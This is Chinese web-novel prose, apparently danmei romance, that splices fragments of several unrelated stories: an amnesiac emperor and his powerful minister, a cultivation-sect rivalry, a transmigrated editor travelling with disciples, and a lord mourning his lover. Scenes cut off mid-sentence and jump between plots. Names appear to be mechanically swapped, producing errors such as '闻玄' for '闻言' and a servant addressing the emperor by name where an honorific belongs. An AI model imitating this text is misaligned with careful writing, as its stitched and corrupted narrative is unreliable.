为徒都穷,零用钱少得可怜,宫渡一脸“发财了”的欢天喜地接过银子,露出尖尖虎牙。 “多谢师父!多谢师父!哈,今天‘嘉芳记’的肉粽可要被本大爷包圆了!” “宫渡!”赵深叫住他。三月时光转瞬即逝。侍从云飞和侍女闻樱,双双受到严重的心灵摧残。 两人虽已抹掉了眼泪脸色恢复如常,却都还在心有余悸 至今也晕乎乎的搞不清,赵离玄适才到底是真失忆给他们表演了一场假失忆呢,还是假失忆却依旧还在表演着真失忆? 但无论如何,都太吓人了。 此刻的赵离玄,又开始了新的表演 姜沉不在时赵离玄满地跑。军队开出安沐城。 身后晴空下,古朴高远的城墙逐渐远去,直至再也不见。 尘土飞扬的道路上,小公子邵明月年仅九岁,却是一副小大人模样坐在赵离玄怀里,各种勤奋好学。 前线凶险,但小少主须不怕危险、从小培养。 毕竟,九岁还未见过沙场惨烈,将来前途岂不是一片黯淡? 参考他的三叔邵霄凌。 小少爷举着地图,各种问题,赵离玄不厌其烦,给他解答。 “所谓‘以少胜多’以一挡百,不是没有,但少之又少。若平原两军作战,通常一倍半敌军兵力,就可碾压敌方。” “但攻城战中,因城内守军倚仗高墙城楼,往往要三倍以上兵力,才能破城,如若地势险要,就更是易守难攻。” “你看,这里是郁山,”他指着图上,给小少爷讲解,“郁山绵延五十里,乃洛州东北方之天然屏障。我们这次要收复的秀城、临城,便是背靠郁山又临洛水,进易攻退可守,可谓洛州咽喉、兵家必争之地。” “你再看这,洛州与仪州之间就并无山川,而是一片广阔平原。正因如此,半年前仪州樱祖大军才能一天一夜直捣安沐,逼得路老将军调兵死守州府,疏忽了秀城、临城边防,被西凉军偷袭。” “在那之后,临城几经易手,城内百姓惨遭洗劫,又加漕运阻断,粮草供应不及。因此洛南栀无法在那长驻。” “而西凉敌军从秀城出发,却是四通八达,才会轻易将洛南栀困在唐沙。” 这么复杂的一堆玩意儿。 邵霄凌很怀疑,他侄子能听懂吗? 却只见小公子邵明月听得极其认真,频频点头。 不仅点头,还接话了:“正因如此,我们才须速速出兵,先夺府清、再拿秀城,只要夺了秀城。便能卡断西凉与仪州的联系,否则一旦西凉军从府清南下、攻破安城,咱们州府则门户大开,整个洛州万劫不复。是不是?” 赵离玄欣慰:“你可真聪明!” 这才像老州侯邵子坚的正统血脉,小小年纪不同凡响! 邵明月:“那万一……” “万一什么?” 邵明月欲言又止,犹豫一番,还是说了:“万一西凉军在我们忙于收复失地之时,不惜三倍以上兵力强攻唐沙,那南栀舅舅岂不是……” 赵离玄叹了口气。 小少爷的担心,也是他之前最大的担心。 唐沙小城至今不破,只因西凉不舍得下血本砸。若是不惜代价,洛南栀神仙难救。 所幸此刻姜沉姜沉眼前,有更为肥美的诱惑—— 一切全靠东泽军纪散宜祸水东引,从盟军处坑来了一大片土地城池明晃晃勾引姜沉去打,对比一座小小唐沙城,诱惑高下立见。 结果,姜沉倒是乖乖去咬钩了。 可吞下一大口后,又立即转回头来虎视眈眈一丝不乱,并未轻易放过唐沙。 昨夜赵离玄点月华迷香,梦里荀青尾叹气: “主人,散宜说,全因你非要救那洛南栀。此番东泽联盟损失惨重。” “那姜沉又贪又狡、吃得又快!” “实在是,唉!” “太过难缠,真是一生不想与此人为敌。” 赵离玄:“……” “其实我过去,曾有数次机会能杀了姜沉。” 军队行在密林之中。 他怀里邵明月本来昏昏欲睡,闻言瞬间精神,忙竖起耳朵听。 一听闻姜沉下朝,皇帝立刻就躲回床上装睡。 还把头发都揉乱了,神仙都看不出来他刚在寝宫上蹿下跳了一整个上午。 姜沉回宫,手里抱着一大堆折子,俊美冰冷的脸上倒是还死撑着一贯的端方肃穆和一本正经,却已盖不住双眼下深深的疲惫阴翳。 姜沉身后,眯眯眼的红衣拂陵公公也跟着进来。 手里同样抱了更多的一堆奏折,连常用的拂尘都快没有地方拿了。 闻樱迎过去小小声:“公公,那个,姜沉的腰带” 姜沉的玉带散了一半,很是扎眼。 尤其挂在腰带上面的五彩玉佩笼络,更已经几乎垂坠拖在了脚边地上。 但要知道,姜沉此人一向谨慎端穆,最是在意外表仪容的。哪怕是之前不眠不休照顾赵离玄时,也从来都是周身齐齐整整、纤尘不染一丝不乱。 什么时候曾像今日这般,连腰掉了一大半都注意不到了? 拂陵叹气:“可别提了,主子多日未睡,已累得已不知天南地北,怕是也实在顾不了那些了。唉。” 姜沉疲倦已极,摇摇欲坠只剩一口气撑着,任谁都能看出来。 赵离玄自然也不瞎。 可那人到了他的面前,却还故作镇定整了整一袭肃穆的玄黑色官服,一脸居高临下严肃端方的俊美清冷。 全然未发现自己腰带已经拖至地上,玉佩撞击着汉白玉一声声的响。 “阿玄,醒了?用过午膳么?我陪你好不好?” 赵离玄 赵离玄:“我用过膳了,正打算午休。” 姜沉闻言点头。 “也好,那阿玄继续睡。” 窗外冬阳暖煦,透过雕花窗棂,一片午后的灿烂明亮。 姜沉亲手服侍赵离玄躺下,给他拢了拢微乱的长发又帮他掖好被子。 弄完,自己转身去了茶榻。 端正坐下,捏了捏眉心提了神,便伸手便去取那堆得小山一样高的待批折子。 赵离玄 不是。这人都倦得快死了还不打算睡呢? 窗外红梅已开,阵阵幽香。 阳光打下来,姜沉睫毛很长,被那光照得沾染上了一丝浅金。只见他目光略微迷离,侧影疲惫憔悴至极,却又莫名有种病态苍白的赏心悦目。 赵离玄 或许他是真的色令智昏没有救了吧。 只是看着那侧颜,一早积攒的种种不满与疑惑便已烟消云散、抛之脑后。 其实姜沉这一天天的,也是不易。 是,姜沉是夺了他的权。但人家夺权以后也并未渎职呀,这不是还在尽职尽责地上朝办公、批奏做事么?并无有懈怠。 至于幽禁 人家都把他该干的活全干了、又把他人也给一手包养了,暖炉棉被甜粥好生伺候着。 试问翻遍史书,又见过哪个狗皇帝被幽禁时这般享福,不做事且有美人在侧可大大一饱眼福? 被衾暖且甜,美人红梅遥相映,满眼芳菲色。 锦裕帝昏庸。锦裕帝要求不高。锦裕帝甚是知足。 绝了。 他这昏君思维,果真妙不可言。 赵离玄窝在被子里自顾自在那瞎想,幽幽的,忽听红衣太监拂陵叹了口气。 他看着自家主子死撑,毕竟心疼,此刻满脸都是大写的“愁云惨淡”。 赵离玄沉吟片刻。 “爱卿。”他伸手唤姜沉,“爱卿,青瞿,青卿?” 其中,赵离玄几乎是废寝忘食、闭关苦修。而姜沉却是修炼、课业、用膳,仿佛全然忘了此事一般。 约定日子一到,演武场上人山人海。 比赛一如既往结束得很快没有想象中的龙争虎斗。 这次,姜沉甚至没有动用任何花哨的招式。第一招便轻易格开了赵离玄倾尽全力的猛攻,三招便精准地击飞了赵离玄手中的火扇,随即火环如枷锁般困住赵离玄的双足,并指如剑,一道凝练到极致的赤金光华点在赵离玄灵台穴前半寸之处倏然收住。 杀气消散时,已是彻底全然、压倒性的完胜。 谁都能看出来,刚才姜沉若有半分狠戾之心,赵离玄早已死了不下十次了。 绝不可能还只是皮外伤,躺地上恍恍惚惚,无法接受现实地喃喃自语。 “不可能。” 输了就输了。 谁也没想到输了的赵离玄,竟还挺会替自己挽尊。 他爬起来。 突然就冲向姜沉,抓着人就开始全身摸。众人哗然:“赵、赵师兄这是干什么啊?” 赵离玄却只顾喃喃:“不对肯定有哪里不对!” “这不可能,你身上必是藏了什么不为人知的法宝!在哪里?袖里?还是胸前?或是嵌在腰带?” “还是姜沉,你真修了什么邪法?” 众人只觉不可理喻。所谓起居舍人,乃是撰写帝王起居注、记录帝王日常一言一行之史官,按说本就应常年伴驾在帝王身边左右。 “左史记事,右史记言,所以防过失,而示后王。记注之职,其来尙矣”,后世就连修国史也要拿《起居注》作为参考,乃是一国最为可信的史官。 然而,想也知道 他都已经混成这样了,干啥啥不灵叫天天不应,又怎么可能轻易见得着起居舍人?! 看不到就看不到吧,偏偏小侍从的回答十分还令人火大:“回禀赵离玄!那、那旧的起居舍人已于上月告老辞官,而起居注则、则因前前月史馆大火,现已下落不明!” 赵离玄 此地无银三百两。 早不大火晚不大火,我失忆了你起火。 若说其中没有猫腻,谁信? 赵离玄失忆了却又不是傻子。 身为帝王,《君王策》第一条背得滚瓜烂熟上位者高处不胜寒,切勿轻信于人。 他暗自寻思着,这姜沉还挺有意思。 趁他失忆将他幽居寝宫,身边伺候的人里一个可信人也没给他留,《起居注》还给他烧了,这操作简直一气呵成毫无破绽。 那在他恢复记忆之前,还不是姜沉说什么就是什么了? 姜沉可是测灵碑亲测的天才,实力碾压再正常不过。 这赵离玄看不懂天才的境界,就要污蔑天才是邪修?! 很快,赵离玄私底下的狠话也被传出来,坐实了他的不甘 “你们都给老子等着瞧!若不能证明他姜沉是邪修,老子当着全宗门的面,倒立裸奔三圈!” “???” “良宵他爱吃果脯蜜饯,你莫又只买了自己喜欢的。良宵,你也别总纵着他,这样下去真要给纵坏了!” 良宵垂眸,只微笑点头,宫渡却扁不满嘴:“师父偏心~就只记得余生师弟爱吃什么!” 望着两个徒儿活蹦乱跳的背影,赵深摇了摇头。 我哪是偏心?明明是渡儿你自己身在福中不知福每次你们在一起,有什么好的良宵都让给你,你却总无知无觉跟个木头似的! 良宵他死得早,你已不剩几年能对他好了。 与其到时候再抱着尸首伤心痛哭,倒不如在他活着的时候懂点事。 这么一想,心里又难受得很等到五年后时间线正式进入《渡血剑》的剧情,小良宵他真的会依照剧情英年早逝? 赵深做编辑时,数月软磨硬泡,终于感(烦)天(不)动(胜)地(烦)地让大母神笔下留人,对姜沉网开一面。 如今身在书中世界,却又不知能不能设法扭转乾坤,让良宵亦免于一死? 干脆之后真就带着姜、姜总还有两个徒儿一走了、云游四海之算了!完美错开《渡血剑》开篇枫叶山庄被魔教袭击的故事线,我就不信 “划袜步香阶,手提金缕鞋”。 洛水边上,有好些提着藕荷裙裾的少女正在欢闹戏水。而水中央,烛火灿烂的莲花灯则像是接连的金色星河一般,向远处缓缓流去。 “姜前辈,咱们也去许个愿如何?” 两盏莲花灯被缓缓放入水中。赵深转头看向姜沉微微蹙眉的虔诚侧脸,满眼都是盈盈的暖意。 真好看啊~太好看了!真是怎么看都满足,怎么看都荡漾~感觉可以看一辈子。不不,看几辈子都没问题。 啊~什么时候能摸一把就好了。 摸一把就死而无憾了。 “我猜猜姜前辈许的愿望哈肯定~是希望能早日见到尊师郁前辈,对不对?”《 》 30-40 第 31 章 第 31 章 临江酒楼二楼窗边,夜景正好。 一个白净面皮,十七八岁的青绿罗裙女子候在师徒数人桌边,笑吟吟一双眼睛甚是水灵清透。 直男姜慎行瞬间来劲,捏起桌上煮花生,星目亮晶晶:“别人店里都是小二打理,怎么你这儿掌柜的却是个漂亮的大姑娘家?” 姑娘脸腾就红了:“奴家、奴家夫君病了,因而奴家出来帮忙。” 听到没,人家有夫君的! 赵深戏谑脸看向姜慎行,姜慎行则望天残念。 “店里的招牌菜全部上来吧,还有,”赵深指了指姜沉,“给这位公子再单煮一碗桂花汤圆,多放蜜糖他喜欢。对了,这位姑娘不,这位夫人听口音该是本地人,可知道城里哪里能买得到鬼灯笼花?” “鬼灯笼啊”少妇想了想,“若是要买芍药茉莉一类,寻常花坊倒是都有~鬼灯笼太红太艳,爱种的人不多,可真不见得有卖了的呢。” “不过~奴家这酒楼的后院,倒是有几只鬼灯笼正结了籽儿,若是公子不嫌弃,奴家这便叫人给公子剪几只来?” “原来你这有啊?太好了!”真是踏破铁鞋无觅处,得来全不费工夫。赵深忙道,“麻烦夫人多剪些来,稍后一起算钱。” 不一会儿,满桌香气四溢的菜上过来,一大包鬼灯笼花籽和小苗也被赵深献宝一样笑眯眯拿给姜沉看。 正吃得开心,忽听旁边女子惊叫:指责的话,本该出口该伤人。 可卫留夷这些话不知有没有伤到赵离玄,倒是结结实实伤了他自己。 却是越说自己心里越难过,越说自己越心慌,越说越仿佛自己的感情即将一文不值。 一片死一样的沉默。点绛宫作为历代盛宠妃子的居所,正因屡屡宠爱隆眷总受御赐,规格已比天子楚微宫一点不差。 宫殿进尺幽深,熏香萦绕,一度极为奢靡、琳琅华丽。 但眼下似乎已被姜沉改过,陈设简谱、倒是满是竹简墨香。 赵离玄:青卿果然品位风雅,深得我心。 终于到寝宫门口,赵离玄记得曾经门廊上的题字曾是书法大师李旭的“意中曾许,欲共花吹去。” 而今却变成了姜沉那一丝不苟、很好认的工笔正楷 “何日捧取水中月,几生修得镜里花”。 水中月,镜里花,都是明明在眼前却又永远触不可及的东西。 赵离玄心里一动。 这连姜沉都得不到的水中月镜里花,该不会是在说我吧? 不不不不可能。 我已失宠!已是病了姜沉都不屑来看一眼的冷宫废帝了。我须得摆正自己的位置,不可再像以前一样有恃无恐! 今后要努力讨好姜沉,卖身求荣自力更生才是正道! 进了寝宫,拂陵垂首立于一边。 赵离玄轻手轻脚摸到床边,还不忘特意紧了紧他的大毛领。 他今日出来特意穿了这么一件蓬松的毛领大氅防姜沉见他发火、凉冰冰的手又掐脖子。 一团大毛领看你怎么下手。嘿,我甚英明。 咚咚,咚咚。 虽说讨好的说辞全准备好了,但真上阵还是有些紧张。 赵离玄吞了吞口水,安慰自己我是天子我不虚我什么大场面没见过,忽而瞧见姜沉骨节分明的手落在玄色的床围外。 哎,冷不冷呀。 狗腿地捧起来。摇曳的烛光明灭不定,姜沉的手怎么 怎么有伤。 很多似是很重的抓痕。姜沉平常手也凉,但此刻却是冰得刺骨。 赵离玄一把掀开床围。 一瞬,他甚至以为那里躺着的是一具尸体。 姜沉阖着双目、眼眶凹陷发黑,嘴唇毫无血色,青丝凌乱地铺陈在床榻上,全然是病骨沉疴的模样。 他的控诉,没有得到任何应答。赵离玄心不在焉,像是没有听到一样。 卫留夷活像是被他又狠狠扇了两个耳光。 赵离玄还真不是故意不答。 他只是兀自陷入思绪,并默默终结经验——在船上,和今天,他已质问了两次卫留夷为什么那样对他,两次得到的都只有模棱两可的狡辩。 以后,不会在问了。 答案又带不来任何补偿,不如专注将敲诈进行到底。 一旦头脑清明了,一切皆为清明。 明明几日前他还心魔难拔。纵然死心,但看着旧爱微红着眼睛,仍不忍看他难过的样子。 而今,时过境迁。 一旦清醒起来,面对同一人竟有如此大的差距,所有观感只剩嘲讽。 当初是他自己要喜欢、要舔,认赌服输本该谁也不怨。可谁让这人一而再再而三招惹他还糊弄他,不舍得给兵给粮给城,还想靠着廉价的懊悔反咬一口? 真是不发火就把人当傻子啊。 “乌恒侯与其这般绕来绕去,惺惺作态,倒不如一口说清诊金究竟能付多少。堂堂一州州侯,总不至于要赖我这一点——” 卫留夷突然冲过来,猝不及防狠狠堵住他的唇。 赵离玄睁大眼睛。 满脑子就一个疼字,又疼,又极端荒谬。对方冲得太急。没有章法、不得要领,用力过猛,撞到了牙齿。 这是他们之间的第一个吻,仿佛一个不祥、又来的实在太晚的征兆,满是血腥的气息。 但纵然很疼,卫留夷还是不肯放开,碾磨吸吮,像是鱼儿找到空气一般。 一股巨大的力量从身后抓住了他的肩,好像是邵霄凌,卫留夷不知道。他只知道自己挣开了那人,巨大桌椅茶杯的轰响,耳鸣阵阵,他听不到自己的呼吸声,也不想管。 铺天盖地的剧烈无助,狠狠锉着心口。胸口、肩膀、之前断裂未愈的手骨,一片生疼。 赵离玄掐住了他手肘最痛之处。 他是医者,知道他断骨未愈。以前他破一层皮都要心疼好些天的人,如今对他毫无怜惜。 “阿玄……” 卫留夷喘息着,苦笑,声音里有认真的压抑与委屈: “阿玄,都是我的错,我认错好不好?欠你的东西,我用我一生去还,好不好?” “我可以为了你,不再做乌恒侯。” “钱公子,你这是做什么?清平世界的,怎把良家女调戏?” 柜台那边,正是刚才那秀丽的少妇,戴着翡翠镯的玉手正被一个黑皮矮胖、獐头鼠目的男子握在手中不放。 “哎,吕家娘子,如何说是调戏呢?本大爷我可是关心、心疼你啊~就你那病鬼丈夫啊,八成是个注定短命的,等他死了,小娘子你年纪轻轻可如何是好?不如早早跟了本大爷,一生吃香喝辣少不了你的!” “公子请自重!且莫说奴家已为人妇,只说公子乃是枫叶山庄一宗宗主的少爷,那样高门大户又知书达理的,又怎是身份卑微的吕刘氏可以高攀得?” 甫听“枫叶山庄”四字,那不是咱们门派吗?赵深等人皆是一愣。 再仔细定睛看,则心下了然,那登徒子不是别人,却正是那老奸巨猾的正道恶人玄火宗宗主钱一升之子钱厚禄。 钱老头统共就只这一个儿子,生得活脱他爹一般獐头鼠目。 因他爹的关系,在枫叶山庄做了个采办,却总是不见人影,成日拿着山庄采买的钱逛赌坊、喝花酒、调戏良家妇女,整个儿癞皮狗一般,若非他父身居高位,这种人早被枫叶山庄踢出去一百次有余了。 此却人还不知羞,更不怕给名门正派抹黑,竟涎着脸大咧咧边调戏妇女,边摸出了山庄腰牌压人。 “刘翠儿~你既知道我爹是枫叶山庄宗主,可知道这整个洛京城~那靠的就是我枫叶山庄罩着?本大爷能看上你个小寡妇,那是你走运,是你福气到了,懂吗?” “公子请放手,奴家夫君还在世,好痛”也就仍是姜沉师弟为人磊落。 大抵是不愿平白受了那株仙草恩惠,手伤渐愈后,竟将之前赵离玄一直想要“珍芙仙草”仔细用玉盒装了,亲自送至赵离玄的小院。 一年多光景,仙门如今谁不知道姜沉淡泊清冷、一身傲骨。 他肯这般主动缓和关系,已是为难了他。 结果好心还被当成驴肝肺。 赵离玄门都不让他进,只穿着一身耀眼夺目的绯红锦袍,慵懒地倚在二楼的雕花栏杆上,居高离下地托着腮,一脸冷笑。 “哟~看来我们冰清玉洁、不食人间烟火的姜师弟,渐渐也懂了些人情往来的俗套。” 姜沉黑瞳沉沉,抬眼看他。 赵离玄院子里种了几株红枫,秋色正浓。 黄楼、翠松、红叶如火,楼下是师弟清冷仙姿,楼上师兄灿若云霞。 若不是赵离玄一脸扭曲恶劣,这该是多么美的一副图景。 可惜他一脸坏相,破坏所有意境。 高下立现! 蹭两下过过干瘾而已,怎么可能真的掐下去啊? 绝对不可能! 他堂堂锦裕帝赵离玄顶天立地,面对姜沉这么一个世间殊色,自是宁可大美人乱刀砍死、小黑屋关死他这个昏君,也绝对没有他暴殄天物掐死大美人的道理! 嗯。 我就是这样的汉子就是这样秉性就是这样皇帝就有这样的心性。 杀绝色美人能是正经人干得出来的事? 再昏君都干不出来这事好吧。 美人若不负我,我必不负美人也。 美人若负了我,咳那我牡丹花下死做鬼不亏,也算是给后世贡献一段风流韵事了。 狗皇帝这么想着,直接心安理得龙爪稳稳揽住姜沉的腰。 姜沉的腰是真细。 这腰绝了赵离玄不禁想起以前看史书上说“楚王好细腰,宫人多饿死”,他还在想有必要吗这?脸好看就行了呗腰粗腰细都一样。 如今事实证明确实不太一样!! 姜沉这腰!!!好摸。还有腰窝,我戳! 快要睡着之际,脑海深处一个名为“残存理智”的声音叹息了一句,赵离玄啊赵离玄,你倒是色令智昏胆又肥。 竟与逆臣相拥而眠,还摸腰摸得如此愉快。 却可有好好想一想 无数写满血与泪的史书,与那民间编纂小话本的故事怎会相同。你见过见哪个正史昏君,最后是能和权臣善终的? 还不都是先下手为强、后下手遭殃。 结局不是你死就是我亡。 你今日不舍得掐死他,将来迟早有一天被他掐死。赵离玄你就等着瞧吧,总有你的好果子吃。 赵离玄 嗨,但是吧。其实还真未必! 毕竟正史之所以皇帝和权臣总是弄得你死我活,其实有一半也要怪正史那些人一个个的实在长得太歪瓜裂枣了。 如若正史也都是一个个年轻皇帝与绝色野心美权臣,指不定也要乱套成一个个“让你今日为帝王,明日成帝后”的小话本。 毕竟,虽说权欲醉人心,可谁又能保证权势滔天就一定比不过年少时的倾心以待? 赵离玄不知道别人。 至少他这昏君甘愿醉卧美人膝。幽禁也好夺权也罢美人喜欢就好! 他这狗皇帝思路确实清奇。 真不愧是姜沉都搞不定、喊打喊杀又爱又恨的狗昏君! 按说,依姜沉平时清冷性子,早该转身离开。 可他那日却在楼下站定了,黑瞳沉静地盯了赵离玄片刻,竟破天荒地主动开口,声音清冷:“三个月。” “待我手伤痊愈,三个月后,想与师兄堂堂正正,再比一次。” 一石激起千层浪! 消息瞬间传遍宗门。 “听说了吗?看吧,姜师弟如今哪里还怕姓赵的?” “反倒是赵师兄,自从姜师弟下战书后,他就疯了似的把自己关起来修炼。” “肯定是忌惮小师弟的实力了。他那个大比第一,本就名不正言不顺!” “等着吧。三个月后,让他看看什么才是千年一遇!” “喂!”旁边酒桌有一大汉看不过去,站起身来。 却没想到那身材矮小、一脸猥|琐的男子冷不防一掌发出,“砰”当胸将他庞大的身躯直直砸了出去,掀翻了身后一整桌的酒菜。 满座皆惊,只有倒霉被打翻酒桌的离微三角狐狸眼青年面色如常,一玄不发,单手扶起被打得吐血的大汉。 平平无奇的粗布灰袍下,隐隐露出锦衣里衬。 钱厚禄仍旧得意洋洋道:“还有哪个不长眼的?本大爷的武功,那可是宗主亲授,便是那掌门或者执剑长老也未必是对手。与本大爷为敌,那就是同整个枫叶山庄为敌!到时候我爹带人找上来,保准你们吃不了兜着走!” “玄火宗中竟有这种人,着实可恶!” 赵深闻玄一愣,忙一把按住姜沉猛掷箸于捉的手。另一边,良宵亦同时按住愤愤不平的宫渡。 姜慎行孤零零坐在两对男男CP中间,沉寞吃瓜。 “执剑长老不管么?” 姜沉一脸不满瞪向赵离玄,随即想起此人内力尽失、武功不比从前。暗自有些懊恼,却只皱眉偏过头去:“你不管就罢了,也未必还要拉着别人同你一起” “都说了,以后叫我离玄就好嘛~” 赵深却不急,只挑眉轻笑着摸了几下那人骨感的手背。 “管~当然是要管的,却不见得要同门相煎,叫外人随便看了笑话不是?这样吧,我先去跟他好生说上几句试试,不行再动武也不迟。” 说罢便起身,从腰中拿一折扇轻点那登徒子肩膀,笑眯眯道:“钱少爷,如此之巧。” “执”时至亥时,姜沉终于醒了。 他似乎没想到自己竟会一沾枕头直接睡到天都黑透,整个人一时茫茫的。 一张俊美如铸的脸呆滞着,长发凌乱,那种难得的有点懵懵的可爱又出现了。 只可惜,赵离玄并无心欣赏此番美色。 他正拿着个奏折捶桌顿足热血沸腾,见姜沉醒了,直接跳上龙床把奏章怼在了姜沉脸上:“青卿,你快瞧瞧此人!” “这个人!宛城地方官胡璐,他到底从哪里冒出来的?你之前知道此人么?此人实在是位不可多得的人才!这已是今天我读到他的第三封奏疏。” “你瞧,这人不仅懂钱粮、会筹算、人缘好、会烧陶,好多人夸,居然还会设计水坝!” “他连图纸都画好呈送过来了,你看这是频嘉城、这是洛京城,两城隔江相望,他的意思是想要在这里筑一个堤坝,然后洛水正好就从这里引入汾河,再恰好从这里绕过” “你看这设计,岂不是精妙绝伦?” “若是此设想能够成行,或者真能从根本上解决水患,功在千秋!” “当然我知道,眼下国库并不宽裕,但咱们努力凑一凑,并非不能让这人放手一试,青卿你看如何?” “又或者,可以先在京城附近的沂水找一段相似的水段来小试此图。青卿你想,如若困扰我大夏百年之久的水患一除,上游和南方的粮食产量上来,从此国库充裕无后顾之忧,之后咱们便可以” 钱厚禄虽说目中无人,但这“目中无人”却始终是排在“欺软怕硬”后面。 这世上他最怕的人就是他爹,而他爹前几日偏又特别教训过他这赵门来的执剑长老背景深厚,他们钱家惹不起,若是你臭小子敢惹是生非,回家打断你的腿。 “少爷今儿莫不是又喝多了?看清楚,眼前这位是你大嫂吕刘氏,不是你在万花楼相好的那个小翠姑娘~酒醒了没?” 钱厚禄一愣,眼神半清醒半迷糊。 “看样子是酒还没醒,那边的小二,给端盆凉水来~” “这下醒了没?” 一瓢冷水从头浇下,又被赵深在背后狠狠一掐一拧,钱厚禄谨记亲爹教训,终于“嗯嗯啊啊”收了□□脸,换上一脸“老实人”的模样顺着杆子找台阶下。 “执剑长老教训得是!小的错了,小的吃醉了,下次不敢了!” “这位吕氏,其实说起来还是我家远亲表妹呢,钱公子,以后便是闲时,也莫要寻舍妹开心啊?” “哎执剑长老!小的真不敢再来了!小的以后都不来了!” 赵深心道当下息事宁人就好,等回去再拿此事去挤兑他爹钱一升,便转身向在场众人赔笑道:“误会,误会。门中弟子酒疯说些胡话,让诸位见笑。为表歉意,各桌全加桂花酒一坛,赵某请客。” 众人频频点头,酒楼很快恢复了笑语欢声。赵深又到之前被打翻桌子的三角眼青年面前拱手道:“十分抱歉,这桌酒菜多少银子,赵某加倍赔您。” “赔?”那青年望着他,三角眼闪烁,缓缓露出一抹危险,“既是要赔,便叫那人拿命赔来可好?!” 第 32 章 第 32 章 周遭看客百姓越围越多,皆不知前因后果,只见一个青年自称“天道教徒”,周身被银丝绑缚,血流如注仍一脸不惧,横眉口中大骂“魔头”。 而同他对峙的,却是两个便服高挑的青年。 皆生得俊朗,看起来并没有一个像是“魔头”。身后更站着两个枫叶山庄打扮的徒儿,让人奇怪。 天道教因为“惩恶扬善”的教义,在民众中威信很高,教众甚至被称为“天道使者”。而这枫叶山庄也是响当当的名门正道,又刚好在这洛京城外不远,在洛京百姓心中也是大大的好人。 如今这模样,却是大水冲了龙王庙,好人和好人起了争端? 突然,人群之中却突然有人高叫起来:“诸位!你们看那青衣人的眼睛,再看他手中琴弦,‘碧瞳饮血,蚀骨琴魔’那人、那人该不会是之前剥皮碎骨、让整个盐海城沦为鬼都的琴魔姜沉?!” 众人闻玄,一片哗然。 继而又听近处一个幼童闻玄道:“娘亲,爹说过琴魔是大坏蛋!坏人在欺负好人了!咱们不该帮好人吗?” “你别胡说!”身旁妇人着急,就作势要把那孩童往回抱。 可那孩子却一挣扎、猫着腰窜到人群最前端,打着补丁的小包袱里装着一兜捡来玩的石子,抓起便用力往姜沉身上砸。 赵深连忙挺身去挡,被几方碎石重重砸在背上,虽是幼童,力气却也着实不小。他刚要回头吼那孩子别添乱,却冷不防一枚石子正打到眼前。 “呜”近来,《棠棣轶闻小报》在山下也越卖越好了。 按照书店老板反馈,卖得最好的竟不是姜沉那些威震八方的风光战绩。 而是他和赵离玄那点鸡零狗碎的破事!姜沉不来。 推说忙,推说偶感风寒,可皇帝嗷嗷叫着我要摆驾去探望爱卿时,拂陵又百般拦着不让。 “赵离玄,风寒毕竟传染” 赵离玄:“无妨我不怕,我真龙天子有神明护体,病气过不到我身上!” 拂陵:“赵离玄稍安勿躁。待过几日岚主大好了,一定即刻便来给赵离玄请安。” 赵离玄:我信你个鬼。 锦裕帝赵离玄着实很不好骗。 赵离玄也恨自己不好骗。 真的。如果他能和小话本上的昏君一样傻乎乎该多好?这样,一开始便看不出起居注有异,也不会质问姜沉,不质问姜沉便不会惹姜沉生气,姜沉不生气便不会如此晾着他。 那他今夜也能抱着大美人,睡个舒舒服服。有时还真不如傻人有傻福。 唉。 赵离玄痛定思痛。 开始用他那犀利而不好骗的头脑,认真分析现状 姜沉这几日虽在“病”中,倒也不是全然对他置之不理。 并不忘差人给皇帝送了不少书来。 不单有史书还有很多博物杂学、甚至还有赵离玄一向爱看的小话本。 隔三差五,还会送来些好吃的、好玩的。 有珍馐美馔,也有各国进贡的小珍宝。 又似是怕皇帝闲得无聊,奏折也每日定会搬一大堆过来给他批改。 除了不见人影,一切都好。 可问题就是,人呢? 你成天里的给我送送送的,你人呢? 我像是缺那点东西的人吗? 赵离玄很是不明白眼下姜沉这究竟是个什么套路。 爱卿,我都下定决心洗心革面以后好好独宠你一个了。你倒是过来让我当面表表衷心啊! 据说,山下普通读者比起仙门辉煌,更爱看赵师兄上蹿下跳作、到处妖然、气急败坏、骂骂咧咧。 周玄乐实在不能理解这类癖好。 但销量就是硬道理,他也只能更加卖力地搜集两人素材。 最近赵离玄和姜沉参加修真界最负盛名的“天垣试炼”去了! “天垣试炼”据传乃是上古天垣仙人留下的传承考验,由一系列环环相扣的凶险秘境组成。 试炼分为两个阶段:先是考验个人实力的“独行之境”,淘汰率极高;之后则是更为凶险的“同心之境”,需至少两人结伴方可进入。 该试炼素来以艰险著称,名额更是珍贵异常。 棠棣仙门千挑万选,最终也只派出五人参赛。经过首轮“独行之境”的残酷淘汰,果然只剩赵离玄和姜沉二人晋级。 本来下个阶段,场内几乎所有修士都争相想与实力强横的姜沉搭档。 然而人算不如天算。为什么。 卫留夷僵着,像是狠狠被人打懵了一样回不过神来。 为什么。他努力想了想,这几个月里,他一直浑浑噩噩,他也想知事情怎么突然就会变成如今这样。 “阿玄,我从未有一丝一毫……轻贱过你,我那时、那时真的只是……” 我那时是真的不知,会伤你如此之深。 不知你会流那么多血,不知你的手会变得那样冰冷。那本古书上写了取髓之事无碍性命,只要以后好好养护,假以时日定能恢复如初。 但这番话,卫留夷说不出口。 他怕阿玄生气。 曾经的赵离玄,总是用温柔专注的目光看着他。 不管他提出什么要求都答应,不管他做错什么都纵容,一心一意理解他、护着他、为他着想,受了委屈也默默承受,随时愿意为他付出一切。 可如今的阿玄,却让他感觉陌生。 用冷漠的言辞、咄咄逼人对着他,眼睛里一片事不关己的平静无澜。 他在惩罚他。 他知道,卫留夷再度苦笑。殊不知,他早已遭受过生不如死的狠厉惩罚。 阿玄他……一定无法想象,他那时是用什么样的心情,将他冰冷的身体亲手放进水晶棺中。又是如何心痛欲死地跳进棺里,紧紧抱住他不肯放手,就那么一直一直抱着,抱着一个没有回应的人。 很多天后,阿铃对他说,少主,穆玄生前对你心心念念,也未必想要你看到他死后腐烂的样子。 他才勉强咬牙肯让他安葬。 可又想他夜夜睡不着,无数次半夜梦游走到地宫,隔着冰冷的墓墙和他说话。 水晶棺被放进的地宫,是为他自己的修建陵墓,墓室里只有将来他百年以后的墓葬位,以及那口水晶棺的位置—— 那是他一生伴侣的位置,他只同阿玄一人合葬。 不久,郢都来了一位巫师。 说擅长结魂,可让人死而复生。 卫留夷信了,给了那人很多钱,尽管他从小从不信这鬼神之言。可还是纵容他在宫中祭祀做法、神神叨叨。 因为若不如此,他只怕自己要疯了。 他那时,真快疯了。 吃不下睡不着,白日做梦。梦见穆玄回来了,梦见他温暖的身躯。明明是个高挑男子,却带有小动物一样体温。梦见他看向自己时,那带着些许卑微、又满载很多喜欢,自卑难过却又坚定执着,看向他的明亮眼睛。 